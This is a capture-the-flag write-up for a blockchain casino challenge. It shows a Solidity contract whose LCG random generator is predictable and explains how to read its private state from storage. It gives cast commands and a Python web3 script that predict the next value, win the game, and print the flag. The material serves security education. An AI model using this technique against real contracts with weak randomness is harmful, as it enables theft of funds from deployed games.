Tags: misc web3 

Rating:

## Tl;DR

- The player can try to spin the wheel for 0.1 ether but will end up to lose everytime
- By reading the smart contract one can understand that the random number generator is predictable
- So we have to read the contract storage, recover the state, and compute the next state. Spin the wheel with the correct value and get the flag in the vip.html page.

## Introdcution

We can deploy a private blockchain which will give us an URL for the whell which is the same for the RPC, a private key and the address of the smart contract running the wheel.
Players must predict the spin next values to solve solve the challenge.

The wheel interact with the `CasinoPWNME` smart contract by call the function `playCasino()` with "0" in argument. Which is doomed to always lose.

## Solving

### Walking through the webpage

Looking through the website of the wheel we can see that we can spin the wheel for 0.1 ether and also connect a wallet.

![royal casino](https://wepfen.github.io/images/writeups/mafia/royal-casino.jpg)

Trying to spin the wheel will ask us to connect to MetaMask but we don't need to "really" spin the wheel to solve so we will not cover this part of MetaMask tomfoolery.
Also, it's here as a rabbit hole to waste the time of players ?.

Reading the source code of the page we can retrieve informations such as the contract address, the ABI and the rpc.
There is even the code that send the transaction to spin the wheel :

```javascript
const tx = await contract.methods.playCasino(0).send({ // You're choosing to spin 0 everytime ? That's nice from you <3
from: sender,
value: web3.utils.toWei("0.1", "ether"),
gas: 300000,
});
```

Meaning that we can only lose by spinning on the web interface.

### The smart contracts

We have got two solidity files : Setup.sol and Casino.sol.

Setup.sol is only to deploy the casino smart contract :

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {CasinoPWNME} from "./Casino.sol";

contract Setup {

CasinoPWNME public casino;

constructor() {
casino = new CasinoPWNME();
}

function isSolved() public view returns (bool) {
return casino.checkWin();
}

}
```

And Casino.sol holds the interesting part.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract CasinoPWNME {

bool public isWinner;

uint256 public multiplier = 14130161972673258133;
uint256 public increment = 11367173177704995300;
uint256 public modulus = 4701930664760306055;
uint private state;

constructor (){
state = block.prevrandao % modulus;
}

function checkWin() public view returns (bool) {
return isWinner;
}

function playCasino(uint number) public payable {

require(msg.value >= 0.1 ether, "My brother in christ, it's pay to lose not free to play !");
PRNG();
if (number == state){
isWinner = true;
} else {
isWinner = false;
}
}

function PRNG() private{
state = (multiplier * state + increment) % modulus;
}

}
```

Remebering the javascript code where `playCasino()` is called.
Reading the function in the contract, inside this function a random number is generated by calling `PRNG()` :

```solidity
function PRNG() private{
state = (multiplier * state + increment) % modulus;
}
```

It computes a number using a [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) with known parameters (multiplier, increment and modulus are public) :

```
uint256 public multiplier = 14130161972673258133;
uint256 public increment = 11367173177704995300;
uint256 public modulus = 4701930664760306055;
```

Finally if the number passed to `playCasino` is equal to the computed state, the gambler win and `isWinner` is set to `true`.

So we understand we need to predict the next state.

### Exploit

As we already know the LCG parameter, we need to get the state so we can compute the next one.
Luckily, even if a variable in a smart contract is private, we can recover it by reading the sotrage directly.

With foundry we can display the storage of a contract and then request the values :

```bash
forge inspect contracts/Casino.sol:CasinoPWNME storage --pretty

| Name | Type | Slot | Offset | Bytes | Contract |
|------------|---------|------|--------|-------|----------------------------------|
| isWinner | bool | 0 | 0 | 1 | contracts/Casino.sol:CasinoPWNME |
| multiplier | uint256 | 1 | 0 | 32 | contracts/Casino.sol:CasinoPWNME |
| increment | uint256 | 2 | 0 | 32 | contracts/Casino.sol:CasinoPWNME |
| modulus | uint256 | 3 | 0 | 32 | contracts/Casino.sol:CasinoPWNME |
| state | uint256 | 4 | 0 | 32 | contracts/Casino.sol:CasinoPWNME |
```

Then we can recover the state : `cast to-base $(cast storage $TARGET -r $RPC "4") dec`

Compute the next state : `(state * multiplier + increment) % modulus`

And play the casino with the correct value : `cast send $TARGET -r $RPC "playCasino(uint)" <state> --private-key $PRIVATE_KEY --value 0.1ether`

We can check if we won by calling the `isSolved()` function from the Setup contract : `cast call -r $RPC $SETUP_ADDRESS "isSolved()(bool)"` which is supposed to return `true`.

Then we can go to `http://127.0.0.1:10019/88ce96d2-8f9e-4b07-a1b6-19a3f36ab18e/vip.html` to get the flag :

`PWNME{th3_H0us3_41way5_w1n_bu7_sh0uld_be_4fr41d_0f_7h3_ul7im4te_g4m8l3r!}`.

Here's a python script to solve the challenge :

```python
from pathlib import Path
from web3 import Web3

import requests
import re
import json

#### replace the values

UUID="38817e56-b243-4214-bb18-74eb8b7ec553"
Casino="http://127.0.0.1:10019/38817e56-b243-4214-bb18-74eb8b7ec553/"
RPC="http://127.0.0.1:10019/38817e56-b243-4214-bb18-74eb8b7ec553"
PRIVATE_KEY="0x649c553e358feda256109088de2a787bc4364b61a2fdbd33a88cba7ca66cd06a"
PLAYER="0x304815C4693eDdE61C6dD6Ad3F5f1Bb36651D8Fc"
SETUP="0x5FC41a49B84084b4499F7838Bbbc912E1862153E"
TARGET="0x9D862f4C58875fd69Ce94eFe1A978251DCa81DeE"

# get the abi with `forge inspect Casino.sol:CasinoPWNME abi`

casino_abi = json.loads(Path("./casino_abi.json").read_text())
setup_abi = json.loads(Path("./setup_abi.json").read_text())

web3 = Web3(Web3.HTTPProvider(RPC))
if not web3.is_connected():
print("Erreur de connexion à Ethereum")
exit()

setup_contract = web3.eth.contract(address=SETUP, abi=setup_abi)
casino_address = TARGET
casino_contract = web3.eth.contract(address=casino_address, abi=casino_abi)

# get parmaeters
multiplier = int.from_bytes(web3.eth.get_storage_at(casino_address, 1))
increment = int.from_bytes(web3.eth.get_storage_at(casino_address, 2))
modulus = int.from_bytes(web3.eth.get_storage_at(casino_address, 3))
state = int.from_bytes(web3.eth.get_storage_at(casino_address, 4))

# compute next state

next_state = (multiplier * state + increment ) % modulus

# play casino
transaction = casino_contract.functions.playCasino(next_state).build_transaction({
'from': PLAYER,
'gas': 300000, # Set gas limit (adjust if needed),
'nonce': web3.eth.get_transaction_count(PLAYER),
'value': web3.to_wei(0.1, 'ether')
})

signed_transaction = web3.eth.account.sign_transaction(transaction, PRIVATE_KEY)

# Send the transaction
tx_hash = web3.eth.send_raw_transaction(signed_transaction.raw_transaction)

flag = requests.get(f"{Casino}/vip.html")

print(re.findall(r"PWNME{.*}", flag.text))
```

FLAG : `PWNME{th3_H0us3_41way5_w1n_bu7_sh0uld_be_4fr41d_0f_7h3_ul7im4te_g4m8l3r!}`

Original writeup (https://wepfen.github.io/writeups/mafia-at-the-end-of-the-block-full/#part-2).